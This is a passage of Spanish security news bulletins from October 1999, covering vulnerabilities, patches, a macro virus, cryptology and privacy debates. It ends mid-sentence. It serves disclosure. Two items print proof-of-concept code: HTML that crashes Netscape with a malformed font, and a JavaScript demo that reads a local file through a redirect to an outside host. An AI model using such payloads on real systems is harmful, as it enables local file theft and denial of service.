domingo, 31 de octubre de 1999

RealNetworks vigila los hábitos de los usuarios

RealNetworks ha admitido que una de sus aplicaciones,
RealJukebox, registra los hábitos y actividades de los
usuarios. La aplicación envía los datos a RealNetworks a
través de Internet sin el conocimiento del usuario.
Las últimas cifras arrojan más de 13 millones de usuarios
registrados de RealJukebox, utilidad para reproducir
música de forma local, o remota a través de Internet.
Información sobre el tipo de música, el formato de los
ficheros, o el número de canciones almacenadas en el disco
duro, es recopilada y enviada a RealNetworks. Esta información
es acompañada de un número único (GUID) que identifica al
usuario y permite a RealNetworks mantener una base de datos
con los hábitos individuales de cada uno de los usuarios.

La compañía se escuda en que los datos son utilizados con
fines estadísticos de cara a poder ofrecer un servicio más
personalizado, intentando de esta forma escapar de lo que
parece una clara violación a la privacidad del usuario.

RealNetworks ha reconocido esta forma de actuación y ofrece un
parche que elimina el GUID y el envío de información:

http://www.real.com/rjcentral/privacyupdate.html

Más información:
RealNetworks
RealNetworks Membership in the TRUSTe Program



Bernardo Quintero
bernardo@hispasec.com



sábado, 30 de octubre de 1999

Microsoft publica el Service Pack 6 para Windows NT

Los Service Pack para Windows NT son parches muy demandados por los usuarios y administradores de este sistema operativo, ya que vienen a corregir diversos fallos y vulnerabilidades que se han descubierto en dicho entorno.
Microsot ha publicado la sexta edición de este conjunto de parches, el Service Pack 6, que si bien al contrario que otros no resulta imprescindible como siempre es muy recomendable su instalación. Este Service Pack viene a cubrir un número importante de fallos de seguridad y del sistema descubiertos en los últimos meses.

Se recomienda la instalación de este SP6 a todos los usuarios y administradores de máquinas Windows NT 4.0 en las versiones Workstation, Server y Enterprise Edition. Como en ocasiones anteriores se ofrecen versiones para procesadores Intel y Alpha, de cada una de las cuales hay una versión estadounidense y otra para el resto del mundo. La diferencia de este tratamiento reside, una vez más, en la calidad de cifrado empleada, 128 bits en la versión americana y 40 bits en las versiones para el resto del mundo.

Por último, hay que tener en cuenta, que de momento sólo existe disponibilidad de este SP6 para versiones en inglés de Windows NT 4.0. Por eso, no hay que olvidar la recomendación de que los servidores importantes se instalen con la versión en inglés del sistema operativo.

El parche ocupa cerca de 35 megas y su instalación es semejante a las de otros Service Pack anteriores. El parche incluye mejoras relativas a la base del sistema operativo, fallos por el año 2000, red, interprete de comandos, seguridad, dispositivos y otros aspectos. En lo relativo a seguridad, se encuentra corregido el fallo de denegación de servicio por peticiones ftp mal construidas, la vulnerabilidad del salvapantallas, fallos en la instalación de nuevos archivos de cifrado por Internet Explorer dependiendo de la versión del SP anteriormente instalado, etc.

Más información:
Microsoft. Service Pack 6: http://www.microsoft.com/ntserver/nts/downloads/recommended/PREM_SP6/allSP6.asp


Antonio Ropero



viernes, 29 de octubre de 1999

Tres Graves Compromisos de Seguridad en el WU-FTPD

Las versiones anticuadas de WU-FTPD tienen tres graves fallos de
seguridad, dos de los cuales pueden llevar a un atacante, tanto local
como remoto, a obtener privilegios de administrador ("root"). La
Universidad de Washington ha hecho hecho pública una nueva versión del
WU-FTPD, que soluciona estos problemas.
WU-FTPD es uno de los servidores FTP para entorno Unix más difundidos en
todo el mundo. Es un proyecto Open Source no comercial, patrocinado
originariamente por la Universidad de Washington. Su versión 2.6.0, de
reciente aparición, soluciona estos problemas de seguridad, y
proporciona funcionalidades adicionales.

Los problemas son los siguientes:

* Desbordamiento del buffer MAPPING_CHDIR

Esta vulnerabilidad es atacable por un usuario local, o bien por un
usuario remoto con capacidad para crear directorios bajo FTP (algo
normalmente posible en servidores FTP que permiten acceso anónimo).

En las versiones antiguas del WU-FTPD se podía recompilar el código
fuente sin la opción de MAPPING_CHDIR.

Esta vulnerabilidad permite la ejecución de código arbitrario en el
servidor.

* Desbordamiento durante el uso de macros

Si un atacante puede llegar a controlar el contenido de un fichero
(posibilidad típica), puede provocar un desbordamiento y ejecutar código
arbitrario. En algunas ocasiones, incluso puede realizarse el ataque
disponiendo exclusivamente de un acceso de lectura, aprovechando
ficheros con macros, instalados por el propio administrador del
servidor.

Este ataque, como el anterior, es explotable tanto en local como de
forma remota.

* Pérdida de memoria con SITE NEWER

SITE NEWER en un comando propio del WU-FTPD que permite conocer los
ficheros actualizados a partir de una fecha determinada. Es frecuente su
uso, por ejemplo, con software de "mirroring", a la hora de replicar el
contenido de un directorio FTP en otro servidor.

Bajo determinadas circunstancias, el uso de este comando no libera
adecuadamente la memoria empleada, por lo que el servidor FTP irá
consumiendo más y más memoria. Este ataque constituye, pues, un ataque
DoS (ataque de denegación de servicio).

El ataque es realizable tanto en remoto como de manera local.

Se informa también de que bajo ciertas circunstancias, podría llegar a
ser posible la ejecución de código arbitrario si el atacante tiene
acceso de escritura al FTP.

La versión 2.6.0 soluciona estos grabes problemas de seguridad. Se
recomienda actualización *inmediata*.

Como nota final, estas vulnerabilidades afectan también a muchas de las
implementaciones FTP derivadas del WU-FTPD.

Más información:
Servidor FTP del grupo de desarrollo WU-FTPD
Enlace simbólico a la versión más reciente del WU-FTPD
CERT Advisory CA-99-13: Multiple Vulnerabilities in WU-FTPD

AA-1999.01 - AUSCERT Advisory - wu-ftpd/BeroFTPD MAPPING_CHDIR Vulnerability
AA-1999.02 - AUSCERT Advisory - Multiple Vulnerabilities in wu-ftpd based daemons



Jesús Cea Avión
jcea@hispasec.com



jueves, 28 de octubre de 1999

¿Podemos hablar de criptología española?

A menudo me repiten la misma pregunta: "¿por qué en España no se hace
nada de criptología?" A mi juicio, esta pregunta encierra dos
trampas, transmite dos mensajes subliminales que adivino sólidamente
injertados en la mente de mis interlocutores.
La primera consiste en considerar que España es y continuará siendo
una nación atrasada, el Tercer Mundo de la Europa del Sur, un país de
risa donde impera la cultura del pelotazo y toda la ciencia se
importa de Estados Unidos y, en su defecto, de Francia, Reino Unido,
Alemania u otros países "serios". Bien es verdad que los presupuestos
de investigación españoles quedan muy por detrás de los de nuestros
vecinos, pero en criptología, como en el resto de ciencias y
disciplinas científicas, sí se investiga, como se verá a
continuación. Tras casi cuatro décadas de autarquía y aislamiento
económico y científico, recuperar el terreno perdido se ha convertido
en una tarea gargantuesca, en la que nada ayuda el hecho de que los
mejores cerebros nacionales se "fuguen" a EEUU. Póngase Ud. en el
lugar de un joven investigador, de genial talento y prometedor
futuro. ¿Dónde buscaría desarrollar su carrera científica? ¿En un
país que le ofrece recursos con cuentagotas o en otro donde dispondrá
de la última tecnología y recursos ilimitados? Así están las cosas,
en España se trabaja, pero sin los medios de otros centros
extranjeros. En estas condiciones no es de extrañar que nuestra
ciencia no destaque en el panorama internacional.

La segunda trampa atañe a la sensación tan extendida de que "no se
hace nada". ¿Es esto cierto?. Existen una serie de parámetros
objetivos que permiten cuantificar y de alguna manera cualificar el
volumen de investigación en este campo. Las revistas y congresos más
importantes del gremio, como son Crypto, EuroCrypto, Journal of
Cryptology, Cryptologia, etc., se consideran suficientemente
imparciales y de gran rigor a la hora de seleccionar los artículos
que publican en sus páginas, como para que podamos considerarlos
árbitros fiables en este dilema. Basta con acudir a sus índices de
autores y comprobaremos con desilusión la ausencia casi total de
grupos españoles.

Otra manera de evaluar los éxitos de nuestros criptólogos es revisar
los algoritmos criptográficos más usados (lo que implícitamente
debería significar más seguros) en busca de creaciones españolas.
Aquí también nuestra desilusión persiste, pues no conozco ni un solo
algoritmo abierto de uso internacional de origen español.

De todas formas, estos criterios de juicio pueden resultar
excesivamente duros y llevarnos a pensar que, efectivamente, la
criptología española no existe o es una broma. Afortunadamente, desde
hace ya unos años, están proliferando en todas las universidades
españolas y laboratorios de investigación grupos dedicados a la
creación de nuevos algoritmos, criptoanálisis de otros públicos ya
existentes, diseño de protocolos, integración de servicios de
seguridad basados en infraestructura de clave pública (PKI) y un
sinfín de actividades relacionadas directa o indirectamente con la
criptología.

Como exponentes de esta labor, se pueden reseñar las investigaciones
y trabajos llevados a cabo por:

- - El grupo CriptoLab, de la Facultad de Informática, bajo la
dirección de Jorge Dávila Muro (tirnanog.ls.fi.upm.es).

- - La Universidad de Zaragoza, con José Pastor Franco a la cabeza
(www.unizar.es).

- - El Departamento de Matemática Aplicada y Telemática de la
Universidad Politécnica de Cataluña, dirigido por Carles Padró
(www.upc.es/ainfo/castella/webs/departaments/728mat.htm).

- - Universidad de Valladolid, con Juan Tena Ayuso (www.uva.es).

- - Universidad Rovira i Virgili, con Josep Domingo Ferrer
(www.urv.es).

- - El Departamento de Tratamiento de la Información y Codificación del
Consejo Superior de Investigaciones Científicas, con Fausto Montoya
Vitini como director (www.iec.csic.es).

- - La Asociación Española de Criptología (aecsi.rediris.es).

- - La Universidad de La Laguna, con la presencia de Pino Caballero Gil
(www.ull.es).

- - La compañía Servicios para Medios de Pago (SERMEPA), implicada en
el desarrollo de medios de pago mediante tarjetas y a través de redes
de comunicaciones (www.sermepa.es).

- - La Fábrica Nacional de Moneda y Timbre (FNMT), cuyo Proyecto Ceres
está recabando gran atención del público, especialmente con motivo de
su experiencia pionera en la Declaración de Renta '98
(www.cert.fnmt.es).

- - Los militares y el CESID constituyen un capítulo aparte, ya que su
trabajo es secreto y poco se conoce acerca de él. Sin duda, son los
pioneros en España (y en todo el mundo, ya que en general, puede
decirse que la criptología nació como una herramienta militar más
para su uso en conflictos bélicos).

Y por supuesto, quedan en el tintero otros centros y departamentos,
que por razones de espacio no cito, pero que también desarrollan su
labor. El próximo congreso sobre Criptología y Seguridad en la
Información, que tendrá lugar en Canarias en el año 2000, constituirá
un punto de encuentro donde los profesionales de este campo podrán
dar a conocer su trabajo y seguir lo que se está haciendo en nuestro
país.

Si bien es cierto que el estado de la criptología española no se
encuentra en un nivel comparable al de las grandes potencias
criptológicas como EEUU o Israel, quedémonos cuando menos con la idea
esperanzadora de que en España se hace mucha criptología, y también
buena criptología. ¿Qué nos falta entonces? Lo que en otros países
abunda y en España escasea en todos los ámbitos: el apoyo de la
empresa y de otras instituciones que aporten capital económico y
humano.




Gonzalo Álvarez Marañón
criptonomicon@iec.csic.es
Boletín Criptonomicón #58
http://www.iec.csic.es/criptonomicon



miércoles, 27 de octubre de 1999

"Corner", nace el primer virus para MS Project

No ha tenido que pasar mucho tiempo desde la aparición del primer
virus capaz de infectar PowerPoint para poder ser testigos de la
irrupción de un nuevo agente infeccioso que abre un poco más, si
cabe, el abanico de aplicaciones de la gama Microsoft infectables
por medio de macros. Esta vez le ha tocado a Project, el último
bastión de resistencia hasta hace prácticamente un par de días.
Comentan en clave irónica muchos escritores de virus que gracias
a Microsoft existen cada vez más objetivos a los que apuntar, y
no les falta razón. Aparte del propio Windows, el gigante de la
informática ha dado facilidades, por medio de la implementación
de comandos VBA y una interminable serie de opciones, de cara a
la creación de virus específicos no sólo para sus plataformas,
sino también para prácticamente la totalidad de sus aplicaciones.

Desde Word 2.0, ya reliquia de anticuario, hasta Project 98, sin
dejarnos en el tintero las versiones más recientes de PowerPoint,
Excel y Access, nadie se salva de la quema. Nuestro más reciente
-que no último- protagonista es "Corner", un híbrido de Word y
Project que ha sido enviado hoy mismo por correo electrónico a
la conocida compañía antivirus DataFellows, según la información
facilitada por su responsable del Departamento de Investigación,
el finlandés Mikko Hyppönen. Al parecer el autor del virus se ha
valido de redireccionadores anónimos, que una vez más impiden la
identificación del remitente.

Afortunadamente parece ser que "Corner" no se encuentra "in the
wild", hecho que se acerca aún más al límite de lo imposible tan
pronto como uno se detiene a estudiar las características más
básicas del virus, cuya estructura modular gira en torno a dos
rutinas principales, destinadas a funcionar en cada una de las
dos aplicaciones afectadas por "Corner", de manera respectiva.

El módulo nativo de Word se activa cada vez que se cierra un
documento, circunstancia que aprovecha para bajar los niveles
de seguridad al máximo y deshabilitar el menú "Tools/Macros",
así como la protección que ofrece este conocido programa frente
a los virus de macro. A partir de este momento, "Corner" está
listo para infectar todos los documentos en su apertura. En
este particular caso, los usuarios de Word 2000 están de suerte,
ya que el virus no será capaz de funcionar en esta versión a no
ser que los niveles de seguridad se hayan ajustado previamente
a los baremos medio o bajo.

Es este módulo de Word desde el cual "Corner" averigua si existe
alguna versión de MS Project instalada en la máquina local, en
cuyo caso procederá a infectarla, añadiendo un proyecto vacío
que servirá de portador del código vírico, que será el empleado
por "Corner" para inyectar en cada uno de los proyectos a los
que el usuario vaya accediendo.

El virus no posee ningún tipo de efecto destructivo o activación
de tipo gráfico, hecho que, junto a la simplicidad de su código,
nos lleva a pensar que su autor no pretendía más que demostrar
la posibilidad de infectar una nueva aplicación de Microsoft, y
así abrir el camino a nuevos virus que, poco a poco, habrá que
empezar a tener en cuenta. Aquellos usuarios que, sin ayuda de
productos antivirus, deseen comprobar si han sido infectados por
"Corner", tienen la posibilidad de buscar el siguiente texto en
sus ficheros DOC y MPP:


I never realised the lengths I'd have to go
All the darkest corners of a sense
I didn't know
Just for one moment
hearing someone call
Looked beyond the day in hand
There's nothing there at all
Project98/Word97-2k Closer

Desde aquí incitamos a nuestros lectores a informarnos en caso
de encontrarse infectados por el virus, ya que por medio de
testimonios de este tipo es posible alertar a las compañías
antivirus acerca de la presencia "in the wild" de "Corner", lo
cual aceleraría los procesos de incorporación de vacunas a sus
respectivos productos, con el fin de mantener este espécimen a
raya y evitar en la medida de lo posible su futura expansión.

Más información:
AVP
DataFellows



Giorgio Talvanti
talvanti@hispasec.com



martes, 26 de octubre de 1999

La (in)seguridad del protocolo PPTP de Microsoft

El popular criptólogo Bruce Schneier (fundador de la consultora
norteamericana Counterpane Systems) ha co-descubierto numerosos
problemas de seguridad en las implementaciones PPTP de Microsoft.
El PPTP (Point to Point Tunneling Protocol) es un protocolo desarrollado
por Microsoft, que permite el acceso de usuarios remotos a una red
corporativa. Es una implementación concreta cliente <-> servidor de la
tecnología VPN (redes privadas virtuales), orientada a servidores RAS
con Windows NT y clientes tanto con Windows 95/98 como NT.

En 1.998, un equipo dirigido por Bruce Schenier (conocido consultor,
entre otras cosas, por ser el autor del algoritmo de cifrado BlowFish, y
del celebérrimo -y excelente- libro "Applied Criptography") descubrieron
una serie de importantes vulnerabilidades en la implementación PPTP de
Microsoft (prácticamente la única que existe).

Hace unas pocas semanas, Bruce Schenier y su equipo han analizado la
revisión 2 de dicho protocolo y, aunque se han corregido muchos de los
problemas denunciados en la implementación previa, algunos de ellos
siguen presentes. Peor aún, algunos de los cambios realizados debilitan
considerablemente la calidad del sistema.

En pocas palabras: PPTP es un protocolo que puede evitar al curioso
casual, pero no es rival ante un adversario determinado a acceder a la
información que circule por el túnel. Este hecho es especialmente
importante para las empresas que emplean PPTP para interconectar sus
intranets entre sí, a través de infraestructuras públicas como es
Internet.

Ahora que L2TP, el sustituto del PPTP, es ya una propuesta oficial de
estándar, tras varios años de desarrollo, la única excusa para seguir
usando PPTP es el hecho de que este software viene incluído con los
sistemas operativos Windows. Pero cualquier desarrollo que pueda elegir
debe implementar L2TP. L2TP, al contrario que PPTP, ha sido desarrollado
por multitud de empresas y especialistas en el campo de las redes
privadas virtuales, y es un estándar abierto no atado a ninguna
arquitectura en particular.

Más información:
Counterpane Systems: PPTP Crack
Redes Privadas Virtuales (incluye numerosos enlaces sobre PPTP)



Jesús Cea Avión
jcea@hispasec.com



lunes, 25 de octubre de 1999

Ataque DoS en Netscape a través de "Dynamic Font"

La característica "Dynamic Font" permite provocar un overflow
en las versiones 4.5 y posteriores del navegador de Netscape.
A partir de Netscape 4.03 se incorporó el soporte para cargar
de forma dinámica distintas fuentes y utilizarlas en un
documento HTML. El overflow ocurre cuando Netscape intenta
cargar un fichero malformado tipo pfr (Portable Font Resource)
a través de una página web. El error ocurre en nstdfp32.dll,
Bitstream's TrueDoc Portable Font Displayer, que viene
habilitado por defecto en Netscape 4.7.

Plataformas/versiones donde se ha confirmado la vulnerabilidad:

-Win NT 4.0, 2000rc2/Netscape 4.61 y 4.7
-Solaris 7 SPARC
-Win95/Netscape 4.6
-Windows 98-sr1/Netscape 4.5

Plataformas/versiones libres de la vulnerabilidad:

-Linux 2.2.10/Netscape 4.61
-Linux 2.2.12
-Irix 6.5.3f/Netscape 4.61
-MacOS
-OS/2 Warp FP12/Netscape 4.61

Para evitar este DoS, a la espera de un parche o nueva versión,
debemos deshabilitar el soporte de fuentes dinámicas, cuya
opción podemos encontrar a través del menú Editar -> Preferencias
-> Apariencia -> Fuentes.

La demostración de esta vulnerabilidad está disponible en:
http://www.whitehats.com/browsers/maxvisioncrash47/crash.html

Código HTML:


<html>
<head>
<link rel="fontdef" src="CrashNetscape47-MaxVision.pfr">
<title>Whitehats - Netscape 4.7 Crash</title>
</head>
<body bgcolor="#FFFFFF" link="#000000">
<font face="arial black,arial,san serif" size=5>bewm!@#$</font>
</body>
</html>

Fichero pfr que provoca el overflow:
CrashNetscape47-MaxVision.pfr

Más información:
NTBugtraq
Sumario y demostración



Bernardo Quintero



domingo, 24 de octubre de 1999

Aprobación del Congreso de los Diputados a la Firma Digital

El pasado jueves 21 de octubre, el Congreso de los Diputados ha
dado su confirmación al Real Decreto Ley sobre Firma Digital.
Los antecedentes de esta ley vienen por el acuerdo alcanzado el
pasado 21 de abril de este año por parte de los ministros de
Telecomunicaciones de los países pertenecientes a la UE, con el
fin de establecer un marco propicio para el desarrollo del
Comercio Electrónico en Internet. Esto dio lugar a que el pasado
15 de julio, el consejo de ministros aprobara un anteproyecto de
ley, que posteriormente sería enviado al consejo de Estado y a la
Agencia de Protección de Datos para su estudio.

Esta Ley regulará el uso de la firma electrónica, mediante la
cual se creará un vinculo de confianza entre usuarios gracias a
la utilización de servicios de certificación y dándole un
respaldo jurídico a la firma. Con esto, se equipara la firma
electrónica a la manuscrita por lo que se crean una serie de
mecanismos con la finalidad de protegerla. Esta protección
resulta indispensable ya que la firma digital toma una
importancia importante, se podría decir que es nuestro DNI en
Internet, e incluso podría ser tomada como prueba en un juicio.

Todo esto coincide con la firma de un acuerdo por parte de la ACE
(Agencia de Certificación Electrónica), primera autoridad privada
de certificación de España y la FESTE (Fundación para el Estudio
de la Seguridad de las Telecomunicaciones) para la prestación de
servicios de firma electrónica legal.

Este acuerdo basa la prestación de certificación electrónica en
la credibilidad de la fe pública de corredores de comercio y
notarios, basándose en el estándar X.509. Este servicio de firma
electrónica es denominado como Certificados de Categoría 3.

Más información:
iBrujula
FESTE
FAQ (FESTE)



Antonio Román



sábado, 23 de octubre de 1999

Parche para cubrir dos vulnerabilidades en Excel

Microsoft anuncia la disponibilidad de un parche destinado a
solucionar dos nuevas vulnerabilidades en su hoja de cálculo. En
ambas, el problema permitía que no saltara el mecanismo por el
cual se avisa al usuario cuando se abre un fichero con macros en
Excel 97 y 2000. Se recomienda a todos los usuarios actualicen
sus sistemas, ya que este tipo de vulnerabilidades pueden ser
aprovechadas, de forma especial, por virus de macro.
Todas las aplicaciones del paquete Office incorporan un mecanismo
que alerta al usuario del peligro que corren cuando intentan
abrir un documento que contiene macros. Cuando Excel importa
ficheros con otros formatos, como por ejemplo Lotus 1-2-3 o
Quattro Pro, las hojas de cálculo con macros se abren sin que se
produzca el correspondiente aviso al usuario. Esta vulnerabilidad
solo afecta a Excel 97.

Otro tanto ocurre con los ficheros en formato "Symbolic Link"
(SYLK) que contienen macros, y que Excel abre sin que se avise al
usuario del peligro potencial que suponen. En esta ocasión se
encuentran afectadas las versiones 97 y 2000 de la hoja de
cálculo de Microsoft.

Los usuarios de Excel pueden bajar los parches en las siguientes
direcciones:

Excel 97:
http://officeupdate.microsoft.com/downloadDetails/Xl8p7pkg.htm

Excel 2000:
http://officeupdate.microsoft.com/2000/downloadDetails/XL9p1pkg.htm

Más información:

Boletín de seguridad Microsoft (MS99-044)
FAQ (MS99-044)



Bernardo Quintero



viernes, 22 de octubre de 1999

Actualización de la máquina virtual Java de Microsoft

Microsoft publica una nueva versión de su máquina virtual de Java
que elimina una vulnerabilidad en la verificación del byte-code.
La vulnerabilidad hacía posible que applets modificados al efecto
realizaran acciones no autorizadas en los sistemas de los
usuarios. Se recomienda a todos los usuarios comprueben si se
encuentran afectados y actualicen a la nueva versión en caso
necesario.
Los applets de Java tienen entre sus ventajas que son
multiplataformas y seguros, en ambos casos, el peso de estas
características recae en gran parte sobre la llamada máquina
virtual de Java.

El código que llama a los applets suele encontrarse incrustado en
un documento HTML donde, además de indicar el nombre y ubicación
del applet, se le pueden pasar distintos parámetros. Una vez el
navegador hace la petición, el applet viaja desde el servidor
Internet que lo hospeda a nuestro cliente web y se ejecuta en
nuestra máquina. La increíble potencia que ofrecen los applets de
cara a la portabilidad viene de la mano del byte-code, un código
precompilado que puede interpretar la máquina virtual de Java,
independiente del hardware y el sistema operativo.

La facilidad de los applets para viajar por Internet y ejecutarse
en nuestras máquinas lo convierten, a priori, en un arma de doble
filo. Para evitar acciones dañinas la máquina virtual establece
lo que se denomina como "sandbox", un entorno cerrado de
ejecución que impide al applet acceder directamente a recursos de
la máquina, ya sea a los archivos locales, la memoria, o al
sistema operativo. Parte de la seguridad de la máquina virtual
Java pasa por un proceso de verificación del byte-code antes de
su ejecución, donde se comprueba que cumpla con todas las normas
de seguridad preestablecidas.

Karsten Sohr, de la Universidad de Marburg, ha encontrado la
forma de burlar el proceso de verificación del byte-code,
basándose en la conversión de clases. El explotar esta
vulnerabilidad no está al alcance de cualquiera, no consiste en
escribir un applet de Java de una determinada forma, sino que
requiere que una vez precompilado se efectúen algunas
modificaciones directamente en el byte-code.

Cómo saber si estamos afectados y actualizarnos.

Microsoft recomienda la actualización a todos los usuarios
afectados, cuya versión de la máquina virtual de Java estará
comprendida entre los valores 2000-2439 y 3000-3187. Para
comprobar la versión que tenemos instalada bastará con ejecutar
el programa JVIEW desde una sesión MS-DOS. Aparecerán varias
lineas de texto, la primera similar a esta:

Microsoft (R) Command-line Loader for Java Version 5.0.xxxx

Donde xxxx representa el número de versión de la máquina virtual
de Java que tengamos instalada.

Los 7MB de la nueva versión que deberemos descargar e instalar en
los sistemas Windows 95/98 y NT afectados se encuentra disponible
en:

msjavx86.exe

Más información:

Anuncio de la vulnerabilidad
Aviso en Bugtraq
Boletín de seguridad Microsoft (MS99-045)
FAQ (MS99-045)
Nueva versión de la máquina virtual de Java de Microsoft



Bernardo Quintero



jueves, 21 de octubre de 1999

Hotmail sigue siendo un lugar cómodo para los virus

La polémica no se aleja de Hotmail, el mayor centro de correo
electrónico gratuito de Internet sigue siendo un lugar cómodo
para la propagación de virus que deberían estar totalmente
controlados en la actualidad.
Distintos expertos ponen a prueba con regularidad el sistema de
correo de Hotmail mediante el envío de virus a través de sus
servicios. De esta forma, comprueban su permeabilidad ante estos
agentes nocivos para los usuarios. De esta forma se ha podido
comprobar que virus de macro como Melissa, de peligrosidad ya
conocida, han podido pasar sin problemas los controles antivirus
que corren sobre los sistemas que sustentan los servicios de
Hotmail.

Todo esto ocurre para mas preocupación cuando la multinacional
Microsoft y la auditora TRUSTe han dado su confianza al sistema
de Hotmail.

El sistema de detección de virus que posee Hotmail pertenece a
McAfee, esta empresa ha desarrollado una nueva versión de su
antivirus que dispone de la posibilidad de detección de virus
tipo Melissa. Pero esta versión no corre sobre FreeBSD, sistema
en el cual se sustentan los servicios de Hotmail. Para ello,
McAfee ha creado una versión beta de su motor de búsqueda de
virus para FreeBSD y se ha distribuido a los respectivos técnicos
para su evaluación.

Es de esperar que Hotmail, así como las empresas encargadas de su
auditoría, tomen todas las medidas oportunas para evitar la
infección de virus entre su millonaria cifra de usuarios.

Más información:
Hotmail Still In Virus Hot Seat (TechWeb)




Antonio Román



miércoles, 20 de octubre de 1999

Los arquitectos de la Red debaten si debe ser "pinchable"

La Internet Engineering Task Force (IETF), organización que define los
estándares de la red, cogía la semana pasada el toro por los cuernos
de la tensión privacidad-seguridad e invitaba a los netciudadanos a
discutir si sus protocolos deberían permitir la interceptación,
demandada por las fuerzas de la ley. La respuesta ha sido masiva: más
de 200 mensajes, en sólo 3 días, inundaban la lista de correo creada
ex-profeso.
La discusión empezó este verano, en el grupo de trabajo de voz sobre
IP: en algunos países, los carriers de telefonía están obligados a
tener sistemas de interceptación. ¿Se extiende esta norma a Internet?
En caso afirmativo, ¿debe adaptarse a nivel de IP o de programas y
proveedores? Cuando la disputa sobrepasó al grupo técnico, la IETF
pidió ayuda a la comunidad: "Añadir capacidad de intervención es, por
definición, añadir un agujero de seguridad, ¿es razonable?". El
debate, abierto la semana pasada en la lista [raven], culminará en la
sesión plenaria de la IETF, en Washington, en noviembre.

La intervención de las fuerzas de seguridad en la red era una
discusión nunca abordada a nivel de gobierno real de Internet. La
acción de la IETF, organismo nacido en 1986, "promete causar el debate
más ácido que el venerable grupo ha experimentado nunca y puede tener
un sólido efecto en la privacidad 'online'", escribía en "Wired"
Declan McCullagh. Para los críticos, en cambio, no es más que otro
despropósito: activistas de la privacidad descubrían la semana pasada
que el nuevo protocolo IPv6, desarrollado por la IETF, permite que en
los paquetes aparezca el número de serie del ordenador que los emite.
David Sobel, del Electronic Privacy Information Center (EPIC)
declaraba: "Parece que estén haciendo el trabajo del gobierno". Horas
después, el FBI aprobaba el "movimiento" de la IETF.

De los 200 mensajes enviados a la lista [raven], la mayoría destila el
mismo espíritu: "¿Por qué construir las cosas mal, inseguras? Si nos
quieren espiar, que se construyan ellos las máquinas". Espíritu que
sobrevuela también el estos días muy esgrimido RFC 1984, donde la IETF
muestra su posición contraria a las limitaciones en criptografía, que
puede aplicarse también al 'pichazo': "Estas políticas están contra
los intereses de los consumidores y la comunidad de negocios, son
irrelevantes para la seguridad militar y proporcionan sólo un
beneficio marginal a las agencias de la ley". Y es que, como escribe
uno de los contertulios, "cuando Internet sea popular en Afghanistan,
donde las mujeres no tienen acceso a la educación, ¿la IETF construirá
mecanismos en sus protocolos que aseguren que estas mujeres no entran
en la red?".

Más información:
The IETF's position on technology to support legal intercept



Mercè Molist
Ciberp@ís



martes, 19 de octubre de 1999

Contraseñas al descubierto en PowWow

PowWow es una utilidad de comunicación y mensajería personal a
través de Internet, similar a ICQ o AOL Instant Messenger. Se han
detectado varias vulnerabilidades que pueden facilitar la obtención
de las contraseñas de los usuarios de este servicio.
Desarrollado por Tribal Voice para entornos Windows, PowPow integra
las ya típicas soluciones de comunicación por Internet, como son
entre otras el chat, mensajes, pizarras compartidas, envío de
ficheros o juegos. Destaca en esta utilidad la integración de la
voz, que permite la comunicación a través de mensajes y charla en
tiempo real.

Los problemas comienzan cuando el nombre de usuario y la contraseña
se almacenan en texto claro en el fichero c:\windows\powwow.ini
bajo Windows 95/98 y c:\winnt\powwow.ini en NT.

La segunda vulnerabilidad es debida a la forma en la este servicio
identifica a los usuarios en diversas operaciones, mediante el envío
de la contraseña en texto plano a través de una URL. Un hipotético
atacante podría obtenerla al visualizar la barra de direcciones en
el momento de la autentificación o más tarde a través del histórico
de visitas del navegador.

Por último, Trival Voice ofrece también un servicio de correo
gratuito, accesible a través de web. Durante el proceso de
autentificación la contraseña del usuario es visualizada en la
página web, por lo que queda al alcance de cualquiera que tenga
acceso al caché del navegador.

Más información:
Tribial Voice
PowWow
Tribal Voice PowWow Password Vulnerabilities



Bernardo Quintero



lunes, 18 de octubre de 1999

Vulnerabilidad "JavaScript Redirect" en Internet Explorer

El incansable Georgi Guninski vuelve a la carga con una nueva
vulnerabilidad que afecta al navegador de Microsoft. En esta
ocasión demuestra, una vez más, como a través de una página web
diseñada al efecto se puede leer de forma remota un archivo
local del usuario que la visita.
El código JavaScript a través del cual Guninski demuestra la
vulnerabilidad es el siguiente:


<SCRIPT>
alert("Cree un pequeño archivo de texto C:\\TEST.TXT y se leerá
y mostrará en una caja de diálogo ");
a=window.open("file://c:/test.txt");
a.location="http://www.nat.bg/~joro/reject.cgi?jsredir1";
</SCRIPT>

En principio nos encontramos con una línea encargada de mostrar
un cuadro de diálogo que explica la necesidad de contar con el
fichero "c:/test.txt" para poder llevar a cabo la demostración.

En la segunda línea del script, [a=window.open("file://c:/test.txt");],
se abre una nueva ventana de IE que muestra el fichero "c:/test.txt"
del disco local del usuario que visita la página. A continuación, se
llama a la misma ventana para redirigirla a la URL "http://www.nat.bg/
~joro/reject.cgi?jsredir1". Esta dirección no muestra una página web,
en su lugar devuelve código JavaScript, [javascript:alert(document.
body.innerText)], encargado de mostrar un cuadro de dialogo con el
contenido del fichero "test.txt" que se encuentra en la página.

El problema es que el código JavaScript, que devuelve la página a la
que ha sido redirigida la ventana, puede acceder a cualquier fichero
del sistema del usuario que visita la página y enviar su contenido a
un sitio remoto. Internet Explorer cree en todo momento que el código
JavaScript se encuentra bajo el contexto de seguridad de zona local,
por lo que se salta todas las restricciones de Microsoft que
impedirían, en condiciones normales, que código remoto interactuará
con los archivos locales.

Microsoft ha anunciado el desarrollo de un nuevo parche para esta
vulnerabilidad que afecta a las versiones 4.01 y 5 de su navegador.
Mientras tanto, la recomendación, ya típica, es deshabilitar la
opción de "Secuencias de comando Active-X", accesible a través del
menú Herramientas -> Opciones de Internet -> Seguridad.

Más información:
Boletín Seguridad Microsoft (MS99-043)
FAQ (MS99-043)
Demostración "JavaScript Redirect" por G.Guninski



Bernardo Quintero



domingo, 17 de octubre de 1999

Vulnerabilidades en Webtrends Enterprise Reporting Server

Se descubren diversas vulnerabilidades en está aplicación de
Webtrends, que en sus versiones 1.5 bajo Linux y Solaris ponen
en entredicho la seguridad de los servidores que la utilicen.
Webtrends Enterprise Reporting Server es una solución para el
proceso, análisis, y presentación del tráfico de los sitios
webs. Entre sus características se encuentra la posibilidad de
ofrecer estadísticas personalizadas a distintos usuarios,
quienes se deben de autentificar con nombre y contraseña para
acceder a los datos a través de la web.

Los problemas comienzan cuando la aplicación de Webtrends
almacena ficheros logs, que registran los procesos, con
permisos de lectura y escritura para todos los usuarios.
Además de permitir que cualquier usuario pueda manipular
dichos logs, el problema se agrava si tenemos en cuenta que
cuando no se utiliza PAM (Pluggable Authentication Module)
la creación de nuevas cuentas de usuario son registradas, en
